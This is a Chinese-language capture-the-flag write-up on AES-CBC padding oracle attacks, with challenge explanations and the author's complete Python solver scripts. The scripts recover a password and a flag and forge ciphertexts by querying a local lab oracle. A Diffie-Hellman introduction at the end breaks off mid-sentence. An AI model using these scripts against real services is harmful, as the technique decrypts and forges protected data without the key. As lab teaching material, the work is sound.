pt_1 = pad(b"sleep", AES.block_size) # "sleep" + 11×0x0b
pt_2 = pad(b"flag", AES.block_size) # "flag" + 12×0x0c
# 计算新IV: IV_2 = IV_1 ⊕ P_1 ⊕ P_2
iv_2 = strxor(iv_1, strxor(pt_1, pt_2))
# 构造新密文
ct_2 = iv_2 + ae
print("TASK:", ct_2.hex())
或者使用cyberchef
密文IV部分:
密文主体部分:
AES-CBC-POA-Partial-Block
所以你可以操纵填充... 如果你在前一个挑战的某处弄错了,并创建了无效的填充,你可能已经注意到工作进程崩溃了,并提示填充不正确的错误!
事实证明,这一次崩溃完全破坏了 AES-CBC 密码系统的机密性,允许攻击者在没有密钥的情况下解密消息。让我们深入了解一下...
回想一下,PKCS7 填充会添加 N 个值为 N 的字节,因此如果添加了 11 个填充字节,它们的值为 0x0b。在去除填充时,PKCS7 将读取最后一个字节的值 N,确保最后 N 个字节(包括该最后一个字节)具有相同的值,并移除这些字节。如果值 N 大于块大小,或者并非所有字节都具有值 N,大多数 PKCS7 实现(包括 PyCryptoDome 提供的实现)都会报错。
想想你在前一个关卡中处理填充时需要多么小心,以及这如何要求你知道你想要移除的字母。如果你不知道那个字母怎么办?你对要将其异或成什么的随机猜测,在 256 次中会有 255 次导致错误(当然,前提是你正确处理了其余的填充),而唯一不报错的那一次,通过知道最终填充必须是什么以及你的异或值是什么,你就可以恢复出该字母的值!这被称为填充预言攻击,得名于告诉你填充是否正确的"预言机"(错误)!
当然,一旦你移除(并获知)明文的最后一个字节,倒数第二个字节就变成了最后一个字节,你就可以攻击它了!
那么,你还等什么呢?去恢复flag吧!
趣闻: 防止填充预言攻击的唯一方法是避免存在填充预言机。根据应用场景,这可能出奇地棘手:很难完全向应用程序的用户/攻击者掩盖故障状态,而对于某些应用程序,填充失败是唯一的错误状态来源!此外,即使错误本身对用户/攻击者隐藏了,也通常可以间接推断出来(例如,通过检测填充错误和填充成功情况之间的时间差)。
资源: 你可能会发现一些动画/交互式的 POA 演示很有用:
- 来自 CryptoPals 的动画入门
- 另一份动画入门【建议看这个比较直观】
- 交互式 POA 探索器
查看解析
看了动画讲解就能很直观地理解原理了,非常推荐看https://dylanpindur.com/blog/padding-oracles-an-animated-primer/这一篇的内容
源码文件:
# 1. `/challenge/dispatcher`
**功能**:AES-CBC加密服务
- 读取密钥文件 `/challenge/.key`
- 使用AES-CBC模式创建加密器
- 根据命令行参数决定加密内容:
- 若参数为 `pw`:加密密码文件 `/challenge/.pw` 的内容
- 否则:加密字符串 `sleep`
- 输出格式:`TASK: hex`,其中hex是 `IV + 密文` 的十六进制表示
# 2. `/challenge/redeem`
**功能**:密码验证与flag获取
- 提示用户输入密码
- 验证输入密码与 `/challenge/.pw` 内容是否一致
- 若一致,输出flag
# 3. `/challenge/worker`
**功能**:AES-CBC解密服务与填充验证器
- 读取密钥和密码文件
- 从标准输入读取 `TASK: hex` 格式的密文
- 将hex转换为字节,分离IV和密文
- 使用AES-CBC模式解密
- **关键特性**:
- 若解密后填充正确:执行对应命令(sleep或密码验证)
- 若解密后填充错误:输出 `Error:`
- 若解密为 `sleep`:睡眠1秒
- 若解密为正确密码:提示使用redeem获取flagimport subprocess
import sys
def get_initial_ciphertext():
"""获取初始密码密文"""
print("[+] 获取初始密码密文...")
result = subprocess.run(
['/challenge/dispatcher', 'pw'],
capture_output=True,
text=True
)
output = result.stdout.strip()
if not output.startswith('TASK: '):
print(f"[-] 调度器输出异常: {output}")
sys.exit(1)
hex_ct = output[6:]
print(f"[+] 初始密文获取成功,长度: {len(hex_ct)//2} 字节")
return bytes.fromhex(hex_ct)
def is_padding_valid(modified_ct):
"""检查填充是否有效"""
hex_ct = modified_ct.hex()
cmd = f'echo "TASK: {hex_ct}" | /challenge/worker'
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True
)
return "Error:" not in result.stdout
def main():
"""主攻击函数"""
try:
# 获取初始密文
ct_bytes = get_initial_ciphertext()
iv = ct_bytes[:16]
ciphertext = ct_bytes[16:]
# 划分区块
ciphertext_blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
all_blocks = [iv] + ciphertext_blocks
m = len(ciphertext_blocks)
print(f"[+] 发现 {m} 个密文区块,开始攻击...")
# 检查最后一个区块是否可能是全填充区块
# 对于全填充区块,我们不需要攻击它,直接跳过
# 只攻击从倒数第二个区块开始到第一个区块
start_block = m if m == 1 else m - 1
plaintext = b''
print(f"[+] 开始从区块 {start_block} 到区块 1 进行攻击...")
# 逐个区块攻击(从倒数第二个区块开始,因为最后一个可能是全填充)
for block_idx in range(start_block, 0, -1):
print(f"\n[+] 攻击第 {block_idx} 个区块...")
current_block = all_blocks[block_idx]
target_block = all_blocks[block_idx-1]
recovered = bytearray(16)
# 逐个字节攻击(从最后一个开始)
for byte_pos in range(15, -1, -1):
padding_size = 16 - byte_pos
print(f" [+] 攻击第 {byte_pos+1} 个字节(填充大小: {padding_size})...")
# 构造修改后的目标区块
modified_target = bytearray(target_block)
# 设置已恢复字节的正确填充
for j in range(byte_pos+1, 16):
modified_target[j] = padding_size ^ (recovered[j] ^ target_block[j])
# 猜测当前字节
found = False
for guess in range(256):
modified_target[byte_pos] = guess
modified_ct = b''.join(all_blocks[:block_idx-1]) + bytes(modified_target) + b''.join(all_blocks[block_idx:block_idx+1])
if is_padding_valid(modified_ct):
recovered[byte_pos] = (padding_size ^ guess) ^ target_block[byte_pos]
print(f" [✓] 找到字节值: 0x{recovered[byte_pos]:02x} ('{chr(recovered[byte_pos]) if 32 <= recovered[byte_pos] <= 126 else '�'}')")
found = True
break
if not found:
print(f"[-] 攻击失败,无法找到第 {byte_pos+1} 个字节")
sys.exit(1)
# 将恢复的区块添加到明文前
plaintext = bytes(recovered) + plaintext
print(f" [+] 区块 {block_idx} 恢复完成: {plaintext[-16:].hex()} -> {plaintext[-16:].decode('latin1', errors='replace')}")
# 移除PKCS7填充
# 只有当填充长度有效(1-16)时才移除填充
padding_length = plaintext[-1] if len(plaintext) > 0 else 0
if 1 <= padding_length <= 16:
password = plaintext[:-padding_length]
else:
# 如果填充长度无效,说明恢复的明文已经是完整密码(没有填充)
password = plaintext
print("\n" + "="*50)
print(f"[🎉] 攻击成功!")
print(f"[+] 恢复的明文(含填充): {plaintext.hex()}")
print(f"[+] 填充长度: {padding_length}")
print(f"[+] 密码(十六进制): {password.hex()}")
print(f"[+] 密码(latin1解码): {password.decode('latin1')}")
print("="*50)
print("\n[📝] 正在自动调用redeem命令获取flag...")
try:
# 自动调用redeem命令并输入密码
print(f"[📝] 正在调用 /challenge/redeem,输入密码: {password.decode('latin1')}")
# 使用更可靠的方式执行命令
cmd = f"echo '{password.decode('latin1')}' | /challenge/redeem"
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True
)
# 输出结果
if result.returncode == 0:
print("\n[🎉] Flag获取成功!")
print(result.stdout)
if result.stderr:
print(f"[!] stderr: {result.stderr}")
else:
print(f"\n[-] redeem命令执行失败,退出码: {result.returncode}")
print(f"[!] stdout: {result.stdout}")
print(f"[!] stderr: {result.stderr}")
print("[📝] 请手动使用以下命令获取flag:")
print(f"/challenge/redeem")
print(f"然后输入密码: {password.decode('latin1')}")
except Exception as e:
print(f"\n[-] 自动调用redeem命令时发生错误: {e}")
print("[📝] 请手动使用以下命令获取flag:")
print(f"/challenge/redeem")
print(f"然后输入密码: {password.decode('latin1')}")
except KeyboardInterrupt:
print("\n[-] 用户中断攻击")
sys.exit(1)
except Exception as e:
print(f"[-] 攻击过程中发生错误: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
AES-CBC-POA-Full-Block
之前的挑战让你通过滥用末尾的填充来解密一个不完整的块。但是,如果块是"完整"的,也就是 16 字节长,会发生什么?让我们用明文 AAAABBBBCCCCDDDD(长度为 16 字节)来探索一个例子!如你所记得的,在这种情况下 PKCS7 会添加一整个块的填充!填充后我们会看到:
| 明文块 1 | 明文块 2 (哎呀,全是填充!) |
|---|---|
AAAABBBBCCCCDDDD |
\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10 |
加密后,我们最终会得到三个块:
| 密文块 1 | 密文块 2 | 密文块 3 |
|---|---|---|
| IV | 加密的 AAAABBBBCCCCDDDD |
加密的填充 |
如果你知道明文长度像上面例子那样与块长度对齐,你就已经知道最后一个块的明文了(它只是填充!)。一旦你知道了它全是填充,你就可以丢弃它,并开始攻击倒数第二个块(在这个例子中是密文块 2)!你会尝试篡改明文的最后一个字节(通过搞乱与之异或的 IV),直到获得成功的填充,然后利用它来恢复(并能够控制)最后一个字节,再继续前进。同样的 POA 攻击,但针对的是当最后一个块全是填充时的倒数第二个块!
查看解析
同上关AES-CBC-POA-Multi-Block
让我们把最后两个挑战结合起来。之前的挑战只有一个密文块,无论是初始如此,还是你通过丢弃全填充块快速到达那种状态。因此,你能够通过操纵 IV 链来干扰该块的明文。
这一关加密了实际的flag,因此有多个实际包含数据的块。请记住,要干扰块 N 的解密,你必须修改密文 N-1。对于第一个块,这是 IV,但对于其余块则不是!
这是本模块中最难的挑战之一,但如果你一步一步来,就能理清头绪。那么,你还等什么呢?去恢复flag吧!
查看解析
同上关,不同点在于是多区块攻击,并且直接解密密文就可以得到flag,因此只需要做出比较小的改动即可import subprocess
import sys
def get_initial_ciphertext():
"""获取初始flag密文"""
print("[+] 获取初始flag密文...")
result = subprocess.run(
['/challenge/dispatcher', 'flag'],
capture_output=True,
text=True
)
output = result.stdout.strip()
if not output.startswith('TASK: '):
print(f"[-] 调度器输出异常: {output}")
sys.exit(1)
hex_ct = output[6:]
print(f"[+] 初始密文获取成功,长度: {len(hex_ct)//2} 字节")
return bytes.fromhex(hex_ct)
def is_padding_valid(modified_ct):
"""检查填充是否有效"""
hex_ct = modified_ct.hex()
cmd = f'echo "TASK: {hex_ct}" | /challenge/worker'
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True
)
return "Error:" not in result.stdout
def main():
"""主攻击函数"""
try:
# 获取初始密文
ct_bytes = get_initial_ciphertext()
iv = ct_bytes[:16]
ciphertext = ct_bytes[16:]
# 划分区块
ciphertext_blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
all_blocks = [iv] + ciphertext_blocks
m = len(ciphertext_blocks)
print(f"[+] 发现 {m} 个密文区块,开始攻击...")
# 攻击所有区块,从最后一个开始
start_block = m
plaintext = b''
print(f"[+] 开始从区块 {start_block} 到区块 1 进行攻击...")
# 逐个区块攻击(从最后一个开始)
for block_idx in range(start_block, 0, -1):
print(f"\n[+] 攻击第 {block_idx} 个区块...")
current_block = all_blocks[block_idx]
target_block = all_blocks[block_idx-1]
recovered = bytearray(16)
# 逐个字节攻击(从最后一个开始)
for byte_pos in range(15, -1, -1):
padding_size = 16 - byte_pos
print(f" [+] 攻击第 {byte_pos+1} 个字节(填充大小: {padding_size})...")
# 构造修改后的目标区块
modified_target = bytearray(target_block)
# 设置已恢复字节的正确填充
for j in range(byte_pos+1, 16):
modified_target[j] = padding_size ^ (recovered[j] ^ target_block[j])
# 猜测当前字节
found = False
for guess in range(256):
modified_target[byte_pos] = guess
modified_ct = b''.join(all_blocks[:block_idx-1]) + bytes(modified_target) + b''.join(all_blocks[block_idx:block_idx+1])
if is_padding_valid(modified_ct):
recovered[byte_pos] = (padding_size ^ guess) ^ target_block[byte_pos]
print(f" [✓] 找到字节值: 0x{recovered[byte_pos]:02x} ('{chr(recovered[byte_pos]) if 32 <= recovered[byte_pos] <= 126 else '�'}')")
found = True
break
if not found:
print(f"[-] 攻击失败,无法找到第 {byte_pos+1} 个字节")
sys.exit(1)
# 将恢复的区块添加到明文前
plaintext = bytes(recovered) + plaintext
print(f" [+] 区块 {block_idx} 恢复完成: {bytes(recovered).hex()} -> {bytes(recovered).decode('latin1', errors='replace')}")
print(f" [+] 当前完整明文: {plaintext.hex()} -> {plaintext.decode('latin1', errors='replace')}")
# 移除PKCS7填充
# 只有当填充长度有效(1-16)时才移除填充
padding_length = plaintext[-1] if len(plaintext) > 0 else 0
if 1 <= padding_length <= 16:
flag = plaintext[:-padding_length]
else:
# 如果填充长度无效,说明恢复的明文已经是完整flag(没有填充)
flag = plaintext
print("\n" + "="*50)
print(f"[🎉] 攻击成功!")
print(f"[+] 恢复的明文(含填充): {plaintext.hex()}")
print(f"[+] 填充长度: {padding_length}")
print(f"[+] 恢复的flag(十六进制): {flag.hex()}")
print(f"[+] 恢复的flag(latin1解码): {flag.decode('latin1')}")
print("="*50)
except KeyboardInterrupt:
print("\n[-] 用户中断攻击")
sys.exit(1)
except Exception as e:
print(f"[-] 攻击过程中发生错误: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
AES-CBC-POA-Encrypt
你不会相信的,但是……填充预言攻击不仅仅允许你解密任意消息:它还允许你加密任意数据!这听起来太不可思议了,但却是真的。想一想:你展示了通过篡改前一个块的密文来修改一个块中字节的能力。不幸的是,这会使前一个块解密成垃圾数据。但这有那么糟糕吗?你可以使用填充预言攻击来恢复这些垃圾数据的确切值,然后篡改更前一个块来将这些垃圾明文修复为有效数据!继续下去,你就可以在不知道密钥的情况下,制作完全受控的、任意长度的消息!当你处理到 IV 时,只需将其视为一个密文块(例如,在它前面放一个假的 IV 并像往常一样解密)并继续下去!太不可思议了。
现在,你已经掌握了完成此挑战所需的知识。去吧,伪造你的消息!
趣闻: 尽管填充预言攻击在 2002 年就被发现了,但直到 2010 年研究人员才发现了这种任意加密的能力。想象一下在这 8 年里网络是多么脆弱!不幸的是,填充预言攻击仍然是个问题。填充预言漏洞每隔几个月就会出现在网络基础设施中,最新的(截至撰写时)就在几周前!
查看解析
利用填充预言攻击(Padding Oracle Attack)实现对任意明文的加密,即在不知道密钥的情况下构造出能解密为指定明文的密文
| 步骤 | 操作 | 数学表达 | 说明 |
|---|---|---|---|
| 1. 目标分析 | 确定要加密的明文M | M → P₁,P₂,...,Pₖ | 需要PKCS#7填充 |
| 2. 起点选择 | 选取一个已知密文块Cₖ | 从初始密文中获取 | 作为最后一个块 |
| 3. 逆向构造 | 从最后一块向前构造 | Cᵢ₋₁ = Iᵢ ⊕ Pᵢ |
核心公式 |
| 4. 中间值获取 | 恢复每个Cᵢ的Iᵢ | 使用填充预言攻击 | 关键步骤 |
| 5. 完成构造 | 得到IV和所有Cᵢ | IV = I₁ ⊕ P₁ |
IV视为C₀ |
| 块索引 | 已知/未知 | 计算步骤 | 结果 |
|---|---|---|---|
| 目标块3 | P₃已知 | 选择C₃已知 | 起点 |
| 恢复I₃ | 填充预言攻击 | ||
| 计算C₂ = I₃ ⊕ P₃ | 得到前一块 | ||
| 目标块2 | P₂已知 | 恢复I₂ | 对C₂使用预言机 |
| 计算C₁ = I₂ ⊕ P₂ | 得到前一块 | ||
| 目标块1 | P₁已知 | 恢复I₁ | 对C₁使用预言机 |
| 计算IV = I₁ ⊕ P₁ | 得到初始向量 | ||
| 最终密文 | IV + C₁ + C₂ + C₃ | 发送给worker | 解密得到目标明文 |
import subprocess
import sys
def get_initial_ciphertext():
"""获取初始密文"""
print("[+] 获取初始密文...")
result = subprocess.run(
['/challenge/dispatcher'],
capture_output=True,
text=True
)
output = result.stdout.strip()
if not output.startswith('TASK: '):
print(f"[-] 调度器输出异常: {output}")
sys.exit(1)
hex_ct = output[6:]
print(f"[+] 初始密文获取成功,长度: {len(hex_ct)//2} 字节")
return bytes.fromhex(hex_ct)
def is_padding_valid(modified_ct):
"""检查填充是否有效"""
hex_ct = modified_ct.hex()
cmd = f'echo "TASK: {hex_ct}" | /challenge/worker'
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True
)
return "Error:" not in result.stdout
def recover_garbage(ct_block):
"""恢复密文区块的解密结果D(C)"""
print(f"[+] 恢复密文区块的解密结果D(C)")
# 创建一个初始的IV作为前一个区块
fake_prev_block = bytearray(16)
recovered_D = bytearray(16) # 存储D(C)的结果
# 从最后一个字节开始恢复
for byte_pos in range(15, -1, -1):
padding_size = 16 - byte_pos
print(f" [+] 恢复第 {byte_pos+1} 个字节(填充大小: {padding_size})...")
# 保存当前fake_prev_block的状态,以便在每次迭代中重置
original_prev_block = fake_prev_block.copy()
# 设置已恢复字节的正确填充
for j in range(byte_pos+1, 16):
fake_prev_block[j] = padding_size ^ recovered_D[j]
# 尝试所有可能的字节值
found = False
for guess in range(256):
fake_prev_block[byte_pos] = guess
test_ct = bytes(fake_prev_block) + ct_block
if is_padding_valid(test_ct):
# 计算D(C)的当前字节
recovered_D[byte_pos] = guess ^ padding_size
found = True
print(f" [✓] 找到字节值: 0x{recovered_D[byte_pos]:02x} ('{chr(recovered_D[byte_pos]) if 32 <= recovered_D[byte_pos] <= 126 else '�'}')")
break
if not found:
print(f"[-] 恢复D(C)失败,无法找到第 {byte_pos+1} 个字节")
print(f" 尝试手动调整fake_prev_block...")
# 尝试使用不同的初始值
for init_val in range(256):
fake_prev_block = bytearray([init_val] * 16)
# 重新设置已恢复字节的正确填充
for j in range(byte_pos+1, 16):
fake_prev_block[j] = padding_size ^ recovered_D[j]
# 再次尝试所有可能的字节值
for guess in range(256):
fake_prev_block[byte_pos] = guess
test_ct = bytes(fake_prev_block) + ct_block
if is_padding_valid(test_ct):
recovered_D[byte_pos] = guess ^ padding_size
found = True
print(f" [✓] 找到字节值: 0x{recovered_D[byte_pos]:02x} ('{chr(recovered_D[byte_pos]) if 32 <= recovered_D[byte_pos] <= 126 else '�'}')")
break
if found:
break
if not found:
print(f"[-] 恢复D(C)失败,无法找到第 {byte_pos+1} 个字节")
sys.exit(1)
return recovered_D
def forge_ciphertext(target_plaintext):
"""构造目标明文的密文"""
print(f"[+] 开始构造目标明文的密文: {target_plaintext}")
# 计算目标明文的长度和需要的区块数
target_bytes = target_plaintext.encode('latin1')
block_size = 16
padding_length = block_size - (len(target_bytes) % block_size)
if padding_length == 0:
padding_length = block_size
padded_target = target_bytes + bytes([padding_length]) * padding_length
num_blocks = len(padded_target) // block_size
print(f"[+] 目标明文长度: {len(target_bytes)} 字节")
print(f"[+] 填充长度: {padding_length} 字节")
print(f"[+] 填充后长度: {len(padded_target)} 字节")
print(f"[+] 需要 {num_blocks} 个区块")
# 划分目标明文为区块
target_blocks = [padded_target[i:i+block_size] for i in range(0, len(padded_target), block_size)]
# 获取一个初始密文,用于获取初始密文区块
initial_ct = get_initial_ciphertext()
initial_blocks = [initial_ct[i:i+block_size] for i in range(0, len(initial_ct), block_size)]
# 从最后一个密文区块开始构造
# 我们需要构造 num_blocks 个密文区块,加上一个IV
# 最后一个密文区块可以使用初始密文的最后一个区块
ciphertext_blocks = [initial_blocks[-1]] # 这将是最后一个密文区块 C_n
# 从最后一个目标明文区块开始向前构造
for i in range(num_blocks-1, -1, -1):
print(f"\n[+] 处理目标明文区块 {i+1}/{num_blocks}: {target_blocks[i].hex()} -> {target_blocks[i].decode('latin1', errors='replace')}")
# 恢复当前密文区块的解密结果 D(C)
current_ciphertext = ciphertext_blocks[0]
D_C = recover_garbage(current_ciphertext)
if i == num_blocks-1:
# 对于最后一个目标明文区块,我们需要计算前一个密文区块 C_{n-1}
# C_{n-1} = D(C_n) ⊕ P_n
prev_ciphertext = bytearray(16)
for j in range(16):
prev_ciphertext[j] = D_C[j] ^ target_blocks[i][j]
ciphertext_blocks.insert(0, bytes(prev_ciphertext))
else:
# 对于其他目标明文区块,我们需要计算IV或前一个密文区块
# IV = D(C_1) ⊕ P_0 或 C_{i} = D(C_{i+1}) ⊕ P_{i+1}
prev_ciphertext = bytearray(16)
for j in range(16):
prev_ciphertext[j] = D_C[j] ^ target_blocks[i][j]
ciphertext_blocks.insert(0, bytes(prev_ciphertext))
# 最终的密文是:IV + C_1 + C_2 + ... + C_n
# 其中IV是第一个构造的区块,C_1是第二个构造的区块,依此类推
iv = ciphertext_blocks[0]
ciphertext = b''.join(ciphertext_blocks[1:])
forged_ct = iv + ciphertext
print(f"\n[+] 伪造密文构造完成")
print(f"[+] IV: {iv.hex()}")
print(f"[+] 密文区块: {ciphertext.hex()}")
print(f"[+] 伪造密文(十六进制): {forged_ct.hex()}")
print(f"[+] 伪造密文长度: {len(forged_ct)} 字节")
return forged_ct
def main():
"""主函数"""
try:
# 目标明文
target_plaintext = "please give me the flag, kind worker process!"
# 构造目标明文的密文
forged_ct = forge_ciphertext(target_plaintext)
# 测试伪造的密文
print("\n[+] 测试伪造的密文...")
if is_padding_valid(forged_ct):
print("[✓] 伪造密文填充有效!")
# 发送伪造的密文到worker获取flag
cmd = f'echo "TASK: {forged_ct.hex()}" | /challenge/worker'
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True
)
print("\n[📝] Worker输出:")
print(result.stdout)
if result.stderr:
print(f"[!] stderr: {result.stderr}")
else:
print("[-] 伪造密文填充无效!")
except KeyboardInterrupt:
print("\n[-] 用户中断攻击")
sys.exit(1)
except Exception as e:
print(f"[-] 攻击过程中发生错误: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
AES-CBC-POA-Encrypt-2
现在,你之前是从一个有效的输入(加密的 sleep 命令)开始的。如果你有零个有效的输入呢?事实证明,所有这些仍然有效!
为什么?随机数据解密成……一些其他随机数据。很可能,这会有一个填充错误。你可以像以前一样控制 IV,来找出正确的第 16 个字节进行异或以解决该填充错误,现在你就有了一个代表 15 字节随机消息的密文。对你来说,这个随机消息和 sleep 之间没有本质区别:攻击是相同的!
现在就去试试这个。没有调度器,只有你和flag。
第一阶段:创建有效起点
# 生成随机的密文区块作为起点
# 我们需要num_blocks个密文区块,所以生成num_blocks个随机区块
random_blocks = [os.urandom(16) for _ in range(num_blocks)]
# 从最后一个密文区块开始构造
# 最后一个密文区块是random_blocks[-1]
ciphertext_blocks = [random_blocks[-1]]
| 步骤 | 操作 | 目的 |
|---|---|---|
| 1 | 随机生成16字节密文块C | 创建攻击起点 |
| 2 | 设置IV为全0(或任意值) | 作为C₋₁ |
| 3 | 发送(IV, C)给预言机 | 测试填充有效性 |
| 4 | 如果填充无效,调整IV的最后一个字节 | 尝试使填充有效 |
| 5 | 重复直到填充有效 | 获得一个有效的(IV, C)对 |
第二阶段:恢复中间值
一旦有了有效的(IV, C)对,就可以使用与第一关相同的填充预言攻击恢复C的中间值I:
第三阶段:构造目标密文
与第一关完全相同的过程:
| 步骤 | 公式 | 说明 |
|---|---|---|
| 1. 目标分块 | P₁, P₂, ..., Pₙ | 目标明文+PKCS#7填充 |
| 2. 选择起点 | Cₙ = 随机块 | 使用随机生成的密文块 |
| 3. 恢复Iₙ | Iₙ = recover_garbage(Cₙ) | 填充预言攻击 |
| 4. 计算Cₙ₋₁ | Cₙ₋₁ = Iₙ ⊕ Pₙ | 前推一个块 |
| 5. 重复3-4 | 直到C₀(IV) | 逆向构造完成 |
| 6. 组合 | IV + C₁ + ... + Cₙ | 最终密文 |
import subprocess
import sys
import os
def is_padding_valid(modified_ct):
"""检查填充是否有效"""
hex_ct = modified_ct.hex()
cmd = f'echo "TASK: {hex_ct}" | /challenge/worker'
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True
)
return "Error:" not in result.stdout
def recover_garbage(ct_block):
"""恢复密文区块的解密结果D(C)"""
print(f"[+] 恢复密文区块的解密结果D(C)")
# 创建一个初始的IV作为前一个区块
fake_prev_block = bytearray(16)
recovered_D = bytearray(16) # 存储D(C)的结果
# 从最后一个字节开始恢复
for byte_pos in range(15, -1, -1):
padding_size = 16 - byte_pos
print(f" [+] 恢复第 {byte_pos+1} 个字节(填充大小: {padding_size})...")
# 设置已恢复字节的正确填充
for j in range(byte_pos+1, 16):
fake_prev_block[j] = padding_size ^ recovered_D[j]
# 尝试所有可能的字节值
found = False
for guess in range(256):
fake_prev_block[byte_pos] = guess
test_ct = bytes(fake_prev_block) + ct_block
if is_padding_valid(test_ct):
# 计算D(C)的当前字节
recovered_D[byte_pos] = guess ^ padding_size
found = True
print(f" [✓] 找到字节值: 0x{recovered_D[byte_pos]:02x} ('{chr(recovered_D[byte_pos]) if 32 <= recovered_D[byte_pos] <= 126 else '�'}')")
break
if not found:
print(f"[-] 恢复D(C)失败,无法找到第 {byte_pos+1} 个字节")
print(f" 尝试手动调整fake_prev_block...")
# 尝试使用不同的初始值
for init_val in range(256):
fake_prev_block = bytearray([init_val] * 16)
# 重新设置已恢复字节的正确填充
for j in range(byte_pos+1, 16):
fake_prev_block[j] = padding_size ^ recovered_D[j]
# 再次尝试所有可能的字节值
for guess in range(256):
fake_prev_block[byte_pos] = guess
test_ct = bytes(fake_prev_block) + ct_block
if is_padding_valid(test_ct):
recovered_D[byte_pos] = guess ^ padding_size
found = True
print(f" [✓] 找到字节值: 0x{recovered_D[byte_pos]:02x} ('{chr(recovered_D[byte_pos]) if 32 <= recovered_D[byte_pos] <= 126 else '�'}')")
break
if found:
break
if not found:
print(f"[-] 恢复D(C)失败,无法找到第 {byte_pos+1} 个字节")
sys.exit(1)
return recovered_D
def forge_ciphertext(target_plaintext):
"""构造目标明文的密文,无需初始有效密文"""
print(f"[+] 开始构造目标明文的密文: {target_plaintext}")
# 计算目标明文的长度和需要的区块数
target_bytes = target_plaintext.encode('latin1')
block_size = 16
padding_length = block_size - (len(target_bytes) % block_size)
if padding_length == 0:
padding_length = block_size
padded_target = target_bytes + bytes([padding_length]) * padding_length
num_blocks = len(padded_target) // block_size
print(f"[+] 目标明文长度: {len(target_bytes)} 字节")
print(f"[+] 填充长度: {padding_length} 字节")
print(f"[+] 填充后长度: {len(padded_target)} 字节")
print(f"[+] 需要 {num_blocks} 个密文区块")
# 划分目标明文为区块
target_blocks = [padded_target[i:i+block_size] for i in range(0, len(padded_target), block_size)]
# 生成随机的密文区块作为起点
# 我们需要num_blocks个密文区块,所以生成num_blocks个随机区块
random_blocks = [os.urandom(16) for _ in range(num_blocks)]
# 从最后一个密文区块开始构造
# 最后一个密文区块是random_blocks[-1]
ciphertext_blocks = [random_blocks[-1]]
# 从最后一个目标明文区块开始向前构造
for i in range(num_blocks-1, -1, -1):
print(f"\n[+] 处理目标明文区块 {i+1}/{num_blocks}: {target_blocks[i].hex()} -> {target_blocks[i].decode('latin1', errors='replace')}")
# 恢复当前密文区块的解密结果 D(C)
current_ciphertext = ciphertext_blocks[0]
D_C = recover_garbage(current_ciphertext)
# 计算前一个密文区块或IV
if i == num_blocks-1:
# 对于最后一个目标明文区块,我们需要计算前一个密文区块 C_{n-1}
# C_{n-1} = D(C_n) ⊕ P_n
prev_ciphertext = bytearray(16)
for j in range(16):
prev_ciphertext[j] = D_C[j] ^ target_blocks[i][j]
ciphertext_blocks.insert(0, bytes(prev_ciphertext))
else:
# 对于其他目标明文区块,我们需要计算IV或前一个密文区块
# IV = D(C_1) ⊕ P_0 或 C_{i} = D(C_{i+1}) ⊕ P_{i+1}
prev_ciphertext = bytearray(16)
for j in range(16):
prev_ciphertext[j] = D_C[j] ^ target_blocks[i][j]
ciphertext_blocks.insert(0, bytes(prev_ciphertext))
# 最终的密文是:IV + C_1 + C_2 + ... + C_n
# 其中IV是第一个构造的区块,C_1是第二个构造的区块,依此类推
iv = ciphertext_blocks[0]
ciphertext = b''.join(ciphertext_blocks[1:])
forged_ct = iv + ciphertext
print(f"\n[+] 伪造密文构造完成")
print(f"[+] IV: {iv.hex()}")
print(f"[+] 密文区块: {ciphertext.hex()}")
print(f"[+] 伪造密文(十六进制): {forged_ct.hex()}")
print(f"[+] 伪造密文长度: {len(forged_ct)} 字节")
return forged_ct
def main():
"""主函数"""
try:
# 目标明文
target_plaintext = "please give me the flag, kind worker process!"
# 构造目标明文的密文
forged_ct = forge_ciphertext(target_plaintext)
# 测试伪造的密文
print("\n[+] 测试伪造的密文...")
if is_padding_valid(forged_ct):
print("[✓] 伪造密文填充有效!")
# 发送伪造的密文到worker获取flag
cmd = f'echo "TASK: {forged_ct.hex()}" | /challenge/worker'
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True
)
print("\n[📝] Worker输出:")
print(result.stdout)
if result.stderr:
print(f"[!] stderr: {result.stderr}")
else:
print("[-] 伪造密文填充无效!")
except KeyboardInterrupt:
print("\n[-] 用户中断攻击")
sys.exit(1)
except Exception as e:
print(f"[-] 攻击过程中发生错误: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
Asymmetric Cryptography 非对称密码学
DHKE 迪菲-赫尔曼密钥交换
所以,你现在(希望!)理解了 AES 的用途和各种障碍,但有一件事我们还没有考虑。如果人物 A(通常称为Alice)想使用 AES 加密一些数据并发送给人物 B(通常称为 Bob),他们必须首先就一个密钥达成一致。如果 Alice 和 Bob 亲自见面,一方可能会写下密钥并交给另一方。但这很少发生 —— 通常,密钥必须远程建立,Alice 和 Bob 位于(尚未加密的!)网络连接的两端。在这些常见情况下,即使他们被窃听(想想:网络嗅探),Alice 和 Bob 也必须安全地生成密钥!有趣的是:通常,窃听者被称为 Eve。
一种在非秘密通信信道上生成密钥的“古老但好用”的算法是迪菲-赫尔曼密钥交换!DHKE 利用数学的力量(特别是有限域)来生成一个密钥。让我们逐步来看:
- 首先,Alice 和 Bob 商定一个大质数
p来定义他们的有限域(例如,所有后续操作都模p进行:在这种上下文中,数字从0到p-1,然后循环),以及一个原根g,并公开交换它们,不介意让 Eve 看到。 - 然后,Alice 和 Bob 各自生成一个秘密数字(Alice 的
a和 Bob 的b)。这些数字从不共享。 - Alice 计算
A = (g ** a) mod p(g的a次幂模p),Bob 计算B = (g ** b) mod p。Alice 和 Bob 公开交换A和B。 - 此时,Eve 将拥有
